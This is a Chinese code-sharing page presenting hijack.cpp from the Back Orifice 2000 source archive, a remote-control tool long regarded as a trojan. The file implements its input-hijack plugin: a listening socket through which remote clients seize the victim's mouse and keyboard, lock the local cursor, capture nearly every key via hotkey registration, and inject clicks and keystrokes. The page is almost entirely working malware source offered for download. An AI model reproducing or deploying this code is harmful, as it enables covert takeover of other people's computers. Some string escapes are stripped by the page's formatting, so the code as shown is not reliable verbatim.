开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
hijack.cpp
资源名称：bo2ksrc.zip　[点击查看]
上传用户：jinandeyu
上传日期：2007-01-05
资源大小：620k
文件大小：15k
源码类别：

远程控制编程

开发平台：

WINDOWS

hijack.cpp：源码内容
  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  4.     This program is free software; you can redistribute it and/or modify
  5.     it under the terms of the GNU General Public License as published by
  6.     the Free Software Foundation; either version 2 of the License, or
  7.     (at your option) any later version.
  9.     This program is distributed in the hope that it will be useful,
  10.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  11.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  12.     GNU General Public License for more details.
  14.     You should have received a copy of the GNU General Public License
  15.     along with this program; if not, write to the Free Software
  16.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  18. The author of this program may be contacted at dildog@l0pht.com. */
  20. #include<windows.h>
  21. #include<plugins.h>
  22. #include<auth.h>
  23. #include<bocomreg.h>
  24. #include<iohandler.h>
  25. #include<encryption.h>
  26. #include<config.h>
  27. #include<strhandle.h>
  28. #include"bo_peep.h"
  29. #include"hijack.h"
  30. #include"hiclient.h"
  31. #include"resource.h"
  33. #define MAX_STREAMS 16
  35. typedef struct {
  36. CAuthSocket *pSock;
  37. } HIJACK_ARGS;
  40. // -------------------- Global Variables ------------------------
  42. // Hijack control
  43. static HANDLE g_hHThread=NULL;
  44. static BOOL g_bHijActive=FALSE;
  46. // Screen size
  47. static DWORD g_xdim,g_ydim;
  49. // Primary cursor
  50. static WORD g_wCurFlags;
  52. #define CF_LBUTTON 1
  53. #define CF_MBUTTON 2
  54. #define CF_RBUTTON 4
  56. // Keyboard
  57. static WORD g_wKeyFlags;
  59. #define KF_LSHIFT 1
  60. #define KF_RSHIFT 2
  61. #define KF_SHIFT  3
  62. #define KF_LCTRL  4
  63. #define KF_RCTRL  8
  64. #define KF_CTRL   12
  65. #define KF_LALT   16
  66. #define KF_RALT   32
  67. #define KF_ALT   48
  68. #define KF_WIN    64
  71. // Ownership
  72. static CAuthSocket *g_pMouseOwner=NULL,*g_pKeybdOwner=NULL;
  73. static BOOL g_bMouseShow=TRUE;
  75. // SendClientMessage: Issues a message to the child socket for display
  77. int SendClientMessage(CAuthSocket *pChild, const char *svMessage)
  78. {
  79. int nDataLen=sizeof(HIJACK_HEADER)+lstrlen(svMessage)+1;
  80. HIJACK_HEADER *phh=(HIJACK_HEADER *)malloc(nDataLen);
  81. phh->bAction=HA_MESSAGE;
  82. phh->message.dwDataLen=lstrlen(svMessage)+1;
  83. lstrcpy((LPTSTR)(phh+1),svMessage);
  85. int nRet=pChild->Send((BYTE *)phh,nDataLen);
  86. free(phh);
  88. return nRet;
  89. }
  91. // SendClientSuccess: Issues a success flag to the socket
  93. int SendClientSuccess(CAuthSocket *pChild)
  94. {
  95. HIJACK_HEADER hh;
  96. hh.bAction=HA_SUCCESS;
  97. return pChild->Send((BYTE *)&hh,sizeof(HIJACK_HEADER));
  98. }
  100. // SendClientFailure: Issues a failure flag to the socket
  102. int SendClientFailure(CAuthSocket *pChild)
  103. {
  104. HIJACK_HEADER hh;
  105. hh.bAction=HA_FAILURE;
  106. return pChild->Send((BYTE *)&hh,sizeof(HIJACK_HEADER));
  107. }
  111. // GetStatus: Gets status report information to give to child sockets
  113. HIJACK_HEADER *GetStatus(int *pnStatLen)
  114. {
  115. HIJACK_HEADER *phh=(HIJACK_HEADER *)malloc(sizeof(HIJACK_HEADER));
  116. if(phh==NULL) return NULL;
  118. // Foo Bar
  120. return phh;
  121. }
  123. // FreeStatus: Cleans up after GetStatus()
  125. void FreeStatus(CAuthSocket *pChild, HIJACK_HEADER *pStatus)
  126. {
  127. free(pStatus);
  128. }
  130. // SendStatus: Sends a status report to a child socket
  132. int SendStatus(CAuthSocket *pChild, HIJACK_HEADER *pStatus, int nStatLen)
  133. {
  134. // Fnord
  136. return 1;
  137. }
  139. // OwnMouse: Causes a child socket to own the mouse cursor
  140. void OwnMouse(CAuthSocket *pChild)
  141. {
  142. if(pChild==NULL) {
  143. ClipCursor(NULL);
  144. if(g_pMouseOwner!=NULL) SendClientSuccess(g_pMouseOwner);
  145. g_pMouseOwner=NULL;
  146. g_wCurFlags=0;
  147. } else {
  148. POINT pt;
  149. RECT r;
  151. GetCursorPos(&pt);
  152. r.left=pt.x;
  153. r.right=pt.x;
  154. r.top=pt.y;
  155. r.bottom=pt.y;
  156. ClipCursor(&r);
  158. g_wCurFlags=0;
  159. g_pMouseOwner=pChild;
  160. SendClientSuccess(g_pMouseOwner);
  161. }
  162. }
  165. // OwnKeybd: Causes a child socket to own the keyboard
  166. void OwnKeybd(CAuthSocket *pChild)
  167. {
  168. int alt,vk;
  169. if(pChild==NULL) {
  170. // Unregister nasty keycaptures
  171. for(alt=0;alt<16;alt++) {
  172. for(vk=0x5;vk<=0x5D;vk++) {
  173. UnregisterHotKey(NULL,1000+(alt*0x100)+vk);
  174. }
  175. }
  177. // Report to client
  178. if(g_pKeybdOwner!=NULL) SendClientSuccess(g_pKeybdOwner);
  179. g_pKeybdOwner=NULL;
  180. } else {
  181. // Do nasty keycaptures
  182. for(alt=0;alt<16;alt++) {
  183. for(vk=0x5;vk<=0x5D;vk++) {
  184. RegisterHotKey(NULL,1000+(alt*0x100)+vk,alt,vk);
  185. }
  186. }
  188. g_pKeybdOwner=pChild;
  189. SendClientSuccess(g_pKeybdOwner);
  190. }
  191. }
  193. // MoveMouse: Moves the mouse cursor
  195. void MoveMouse(HIJACK_HEADER *pStatus, int nStatLen)
  196. {
  197. // ----- Get mouse position -----
  198. POINT pt;
  199. pt.x=(pStatus->mouse.wPosX*g_xdim)>>16;
  200. pt.y=(pStatus->mouse.wPosY*g_ydim)>>16;
  202. // ---- Check to see if we're moving or hitting a button ----
  203. if(pStatus->bAction==HA_MOVE) {
  204. RECT r;
  205. r.left=pt.x;
  206. r.right=pt.x;
  207. r.top=pt.y;
  208. r.bottom=pt.y;
  209. ClipCursor(NULL);
  210. SetCursorPos(r.left,r.top);
  211. ClipCursor(&r);
  212. return;
  213. }
  215. // ------ Proceed to hit button ------
  217. // Get target window
  218. BOOL bCapture;
  219. HWND hTarget;
  220. if(GetCapture()!=NULL) {
  221. hTarget=GetCapture();
  222. bCapture=TRUE;
  223. } else {
  224. hTarget=WindowFromPoint(pt);
  225. AttachThreadInput(GetCurrentThreadId(),GetWindowThreadProcessId(hTarget,NULL),TRUE);
  226. bCapture=FALSE;
  227. }
  229. if(hTarget!=NULL) {
  230. UINT uMsg;
  231. BOOL bPost=TRUE;
  232. int nHit;
  233. // Check For Client Area or Non-Client Area
  235. if(!bCapture)
  236. nHit=SendMessage(hTarget,WM_NCHITTEST,0,MAKELONG(pt.x,pt.y));
  238. if(nHit==HTCLIENT || bCapture) {
  239. // -------------- CLIENT AREA ------------
  241. // Simulate button messages
  242. switch(pStatus->bAction) {
  243. case HA_LBUTTONDOWN:
  244. g_wCurFlags |= CF_LBUTTON;
  245. uMsg=WM_LBUTTONDOWN;
  246. break;
  247. case HA_MBUTTONDOWN:
  248. g_wCurFlags |= CF_MBUTTON;
  249. uMsg=WM_MBUTTONDOWN;
  250. break;
  251. case HA_RBUTTONDOWN:
  252. g_wCurFlags |= CF_RBUTTON;
  253. uMsg=WM_RBUTTONDOWN;
  254. break;
  255. case HA_LBUTTONUP:
  256. g_wCurFlags &= ~CF_LBUTTON;
  257. uMsg=WM_LBUTTONUP;
  258. break;
  259. case HA_MBUTTONUP:
  260. g_wCurFlags &= ~CF_MBUTTON;
  261. uMsg=WM_MBUTTONUP;
  262. break;
  263. case HA_RBUTTONUP:
  264. g_wCurFlags &= ~CF_RBUTTON;
  265. uMsg=WM_RBUTTONUP;
  266. break;
  267. case HA_LBUTTONDBL:
  268. g_wCurFlags |= CF_LBUTTON;
  269. uMsg=WM_LBUTTONDBLCLK;
  270. break;
  271. case HA_MBUTTONDBL:
  272. g_wCurFlags |= CF_MBUTTON;
  273. uMsg=WM_MBUTTONDBLCLK;
  274. break;
  275. case HA_RBUTTONDBL:
  276. g_wCurFlags |= CF_RBUTTON;
  277. uMsg=WM_RBUTTONDBLCLK;
  278. break;
  279. }
  281. } else {
  283.             // ----------- NON CLIENT AREA ------------
  285. // Simulate button messages
  286. switch(pStatus->bAction) {
  287. case HA_LBUTTONDOWN:
  288. g_wCurFlags |= CF_LBUTTON;
  289. uMsg=WM_NCLBUTTONDOWN;
  290. break;
  291. case HA_MBUTTONDOWN:
  292. g_wCurFlags |= CF_MBUTTON;
  293. uMsg=WM_NCMBUTTONDOWN;
  294. break;
  295. case HA_RBUTTONDOWN:
  296. g_wCurFlags |= CF_RBUTTON;
  297. uMsg=WM_NCRBUTTONDOWN;
  298. break;
  299. case HA_LBUTTONUP:
  300. g_wCurFlags &= ~CF_LBUTTON;
  301. uMsg=WM_NCLBUTTONUP;
  302. break;
  303. case HA_MBUTTONUP:
  304. g_wCurFlags &= ~CF_MBUTTON;
  305. uMsg=WM_NCMBUTTONUP;
  306. break;
  307. case HA_RBUTTONUP:
  308. g_wCurFlags &= ~CF_RBUTTON;
  309. uMsg=WM_NCRBUTTONUP;
  310. break;
  311. case HA_LBUTTONDBL:
  312. g_wCurFlags |= CF_LBUTTON;
  313. uMsg=WM_NCLBUTTONDBLCLK;
  314. break;
  315. case HA_MBUTTONDBL:
  316. g_wCurFlags |= CF_MBUTTON;
  317. uMsg=WM_NCMBUTTONDBLCLK;
  318. break;
  319. case HA_RBUTTONDBL:
  320. g_wCurFlags |= CF_RBUTTON;
  321. uMsg=WM_NCRBUTTONDBLCLK;
  322. break;
  323. }
  324. }
  326. if(!bCapture) {
  327. // Determine if the mouse should activate this window
  328. if(hTarget!=GetForegroundWindow()) {
  329. // Get top level parent
  330. HWND hTopParent=hTarget;
  331. while(GetParent(hTopParent)!=GetDesktopWindow() && hTopParent!=NULL)
  332. hTopParent=GetParent(hTopParent);
  333. if(hTopParent==NULL) hTopParent=hTarget;
  335. // Send WM_MOUSEACTIVATE message
  336. LRESULT lRes;
  337. lRes=SendMessage(hTarget,WM_MOUSEACTIVATE,(WPARAM)hTopParent,MAKELONG(nHit,uMsg));
  338. if(lRes==MA_ACTIVATE || lRes==MA_ACTIVATEANDEAT) {
  339. // Activate window
  340. SetForegroundWindow(hTarget);
  342. }
  343. if(lRes==MA_ACTIVATEANDEAT || lRes==MA_NOACTIVATEANDEAT) 
  344. bPost=FALSE;
  345. }
  346. }
  348. // Send message to window unless explicitly told to eat the message
  349. if(bPost) {
  350. if(nHit==HTCLIENT || bCapture) {
  351. // Send message to window unless explicitly told to eat the message
  352. ScreenToClient(hTarget,&pt);
  353. // Calculate fwKeys
  354. WORD fwKeys=0;
  355. fwKeys |= (g_wCurFlags & CF_LBUTTON)?MK_LBUTTON:0;
  356. fwKeys |= (g_wCurFlags & CF_MBUTTON)?MK_MBUTTON:0;
  357. fwKeys |= (g_wCurFlags & CF_RBUTTON)?MK_RBUTTON:0;
  358. fwKeys |= (g_wKeyFlags & KF_CTRL)?MK_CONTROL:0;
  359. fwKeys |= (g_wKeyFlags & KF_SHIFT)?MK_SHIFT:0;
  361. PostMessage(hTarget, uMsg, fwKeys, MAKELONG(pt.x,pt.y));
  362. } else {
  363. POINTS ncpt;
  364. ncpt.x=(SHORT)pt.x;
  365. ncpt.y=(SHORT)pt.y;
  367. PostMessage(hTarget, uMsg, (WPARAM)nHit, *(LPARAM *)&ncpt);
  368. }
  369. }
  370. }
  371. }
  373. // DoKeypress: Simulates a keypress
  375. void DoKeypress(HIJACK_HEADER *pStatus, int nStatLen)
  376. {
  377. // Temporarily unregister key
  378. int alt;
  379. for(alt=0;alt<16;alt++) {
  380. UnregisterHotKey(NULL,1000+(alt*0x100)+pStatus->keybd.bVirtKey);
  381. }
  383. // Simulate keypress
  384. keybd_event(pStatus->keybd.bVirtKey,pStatus->keybd.bScanCode,pStatus->keybd.dwKeyFlags,0);
  386. // Adjust keyflags
  387. if(pStatus->keybd.dwKeyFlags & KEYEVENTF_KEYUP) {
  388. if(pStatus->keybd.bVirtKey==VK_SHIFT) g_wKeyFlags &= ~KF_SHIFT;
  389. if(pStatus->keybd.bVirtKey==VK_CONTROL) g_wKeyFlags &= ~KF_CTRL;
  390. if(pStatus->keybd.bVirtKey==VK_MENU) g_wKeyFlags &= ~KF_ALT;
  391. if(pStatus->keybd.bVirtKey==VK_RWIN || pStatus->keybd.bVirtKey==VK_LWIN) g_wKeyFlags &= ~KF_WIN;
  392. } else {
  393. if(pStatus->keybd.bVirtKey==VK_SHIFT) g_wKeyFlags |= KF_SHIFT;
  394. if(pStatus->keybd.bVirtKey==VK_CONTROL) g_wKeyFlags |= KF_CTRL;
  395. if(pStatus->keybd.bVirtKey==VK_MENU) g_wKeyFlags |= KF_ALT;
  396. if(pStatus->keybd.bVirtKey==VK_RWIN || pStatus->keybd.bVirtKey==VK_LWIN) g_wKeyFlags |= KF_WIN;
  397. }
  399. // Re-register hotkey
  400. for(alt=0;alt<16;alt++) {
  401. RegisterHotKey(NULL,1000+(alt*0x100)+pStatus->keybd.bVirtKey,alt,pStatus->keybd.bVirtKey);
  402. }
  403. }
  406. DWORD WINAPI HijackThread(HIJACK_ARGS *pArgs)
  407. {
  408. CAuthSocket *pSock,*pChild;
  409. CAuthSocket *pChildren[MAX_STREAMS];
  410. int nChildren,i,j,nRet;
  412. // ---------- Get parameters --------------------
  414. pSock=pArgs->pSock;
  415. free(pArgs);
  417. g_nNumThreads=1;
  419. // --------- Initialize hijack ----------
  421. g_xdim=GetSystemMetrics(SM_CXSCREEN);
  422. g_ydim=GetSystemMetrics(SM_CYSCREEN);
  423. POINT pt;
  424. GetCursorPos(&pt);
  425. g_pMouseOwner=NULL;
  426. g_pKeybdOwner=NULL;
  428. // --------------- Data socket loop ----------------------
  429. nChildren=0;
  430. g_bHijActive=TRUE;
  431. while(g_bHijActive) {
  432. Sleep(5);
  433. // ------ Process Window Messages -------
  434. MSG msg;
  435. if(PeekMessage(&msg,NULL,0,0,PM_REMOVE)) {
  436. TranslateMessage(&msg);
  437. DispatchMessage(&msg);
  438. }
  440. // ------ Check for accepts --------
  441. if(nChildren<MAX_STREAMS) {
  442. pChild=pSock->Accept();
  443. if(pChild!=NULL) {
  444. pChildren[nChildren]=pChild;
  445. nChildren++;
  446. }
  447. }
  448. if(nChildren>0) {
  449. int nStatLen;
  450. HIJACK_HEADER *pStatus;
  452. // ------ Receive commands  ---------
  453. for(i=(nChildren-1);i>=0;i--) {
  454. pChild=pChildren[i];
  455. nRet=pChild->Recv((BYTE **)&pStatus,&nStatLen);
  456. if(nRet<0) {
  457. // -- bad socket --
  458. pChild->Close();
  459. if(g_pMouseOwner==pChild) {
  460. g_pMouseOwner=NULL;
  461. OwnMouse(NULL);
  462. }
  463. if(g_pKeybdOwner==pChild) {
  464. g_pKeybdOwner=NULL;
  465. OwnKeybd(NULL);
  466. }
  468. delete pChild;
  469. for(j=i+1;j<nChildren;j++) {
  470. pChildren[j-1]=pChildren[j];
  471. }
  472. pChildren[j-1]=NULL;
  473. nChildren--;
  474. } else if(nRet>0) {
  475. // ----- Process commands ------
  477. switch(pStatus->bAction) {
  478. case HA_OWNDEVICE:
  479. if(pStatus->bDevice==HD_MOUSE && g_pMouseOwner==NULL) OwnMouse(pChild);
  480. else if(pStatus->bDevice==HD_KEYBD && g_pKeybdOwner==NULL) OwnKeybd(pChild);
  481. else SendClientFailure(pChild);
  482. break;
  483. case HA_FREEDEVICE:
  484. if(pStatus->bDevice==HD_MOUSE && g_pMouseOwner==pChild) OwnMouse(NULL);
  485. else if(pStatus->bDevice==HD_KEYBD && g_pKeybdOwner==pChild) OwnKeybd(NULL);
  486. else SendClientFailure(pChild);
  487. break;
  488. case HA_MOVE:
  489. case HA_LBUTTONDOWN:
  490. case HA_LBUTTONUP:
  491. case HA_MBUTTONDOWN:
  492. case HA_MBUTTONUP:
  493. case HA_RBUTTONDOWN:
  494. case HA_RBUTTONUP:
  495. case HA_LBUTTONDBL:
  496. case HA_MBUTTONDBL:
  497. case HA_RBUTTONDBL:
  498. if(pStatus->bDevice==HD_MOUSE && g_pMouseOwner==pChild) MoveMouse(pStatus,nStatLen);
  499. break;
  500. case HA_KEYUP:
  501. case HA_KEYDOWN:
  502. if(pStatus->bDevice==HD_KEYBD && g_pKeybdOwner==pChild) DoKeypress(pStatus,nStatLen);
  503. break;
  504. }
  506. // --- Clean up ---
  507. pChild->Free((BYTE *)pStatus);
  508. }
  509. }
  510. }
  511. }
  513. OwnMouse(NULL);
  514. OwnKeybd(NULL);
  516. // Close all connections
  517. for(i=(nChildren-1);i>=0;i--) {
  518. pChildren[i]->Close();
  519. delete pChildren[i];
  520. pChildren[i]=NULL;
  521. }
  522. nChildren=0;
  523. pSock->Close();
  524. delete pSock;
  526. g_nNumThreads=0;
  527. return 0;
  528. }
  530. int CmdProc_StartHijack(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  531. {
  532. char *svEnc=NULL,*svAuth=NULL,*svNetMod=NULL,*svParam=NULL;
  534. // Check if already started
  535. if(g_hHThread!=NULL) {
  536. IssueAuthCommandReply(cas_from,comid,0,"Hijack socket already created.n");
  537. return -1;
  538. }
  540. // Get parameters
  542. svNetMod=GetCfgStr(g_szAdvancedOptions,"Hijack Net Module");
  543. svEnc=GetCfgStr(g_szAdvancedOptions,"Hijack Encryption");
  544. svAuth=GetCfgStr(g_szAdvancedOptions,"Hijack Auth");
  546. if((svParam=svArg2)!=NULL) {
  547. if(svParam[0]!='') svNetMod=svParam;
  548. if((svParam=BreakString(svNetMod,","))!=NULL) {
  549. if(svParam[0]!='') svEnc=svParam;
  550. if((svParam=BreakString(svEnc,","))!=NULL) {
  551. if(svParam[0]!='') svAuth=svParam;
  552. }
  553. } 
  554. }
  556. // Create listener socket
  557. svParam=GetCfgStr(g_szAdvancedOptions,"Hijack Bind Str");
  558. if(svArg3!=NULL) {
  559. if(svArg3[0]!='') svParam=svArg3;
  560. }
  561. CAuthSocket *pSock=ListenAuthSocket(InteractiveListen,cas_from->GetUserID(),NULL,svParam,svNetMod,svEnc,svAuth);
  562. if(pSock==NULL || pSock==(CAuthSocket *)0xFFFFFFFF) {
  563. IssueAuthCommandReply(cas_from,comid,0,"Couldn't start listening socket.n");
  564. return -1;
  565. }
  567. // Spawn listener thread
  568. HIJACK_ARGS *pArgs=(HIJACK_ARGS *)malloc(sizeof(HIJACK_ARGS));
  569. if(pArgs==NULL) {
  570. pSock->Close();
  571. IssueAuthCommandReply(cas_from,comid,0,"Memory allocation error.n");
  572. return -1;
  573. }
  574. pArgs->pSock=pSock;
  576. DWORD dwTid;
  577. g_hHThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)HijackThread,pArgs,0,&dwTid);
  578. if(g_hHThread==NULL) {
  579. free(pArgs);
  580. pSock->Close();
  581. IssueAuthCommandReply(cas_from,comid,0,"Could create thread.n");
  582. }
  584. char svResponse[512],svConAddr[256];
  585. pSock->GetConnectAddr(svConAddr,256);
  586. wsprintf(svResponse, "Hijack started on %.256sn",svConAddr);
  587. IssueAuthCommandReply(cas_from, comid, 0, svResponse);
  588. return 0;
  589. }
  591. int CmdProc_StopHijack(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  592. {
  593. g_bHijActive=FALSE;
  594. if(WaitForSingleObject(g_hHThread,5000)!=WAIT_OBJECT_0) {
  595. IssueAuthCommandReply(cas_from, comid, 0, "Couldn't stop hijack in 5 sec. Aborting thread.n");
  596. TerminateThread(g_hHThread,0);
  597. }
  598. CloseHandle(g_hHThread);
  599. g_hHThread=NULL;
  601. IssueAuthCommandReply(cas_from, comid, 0, "Hijack stopped.n");
  602. return 0;
  603. }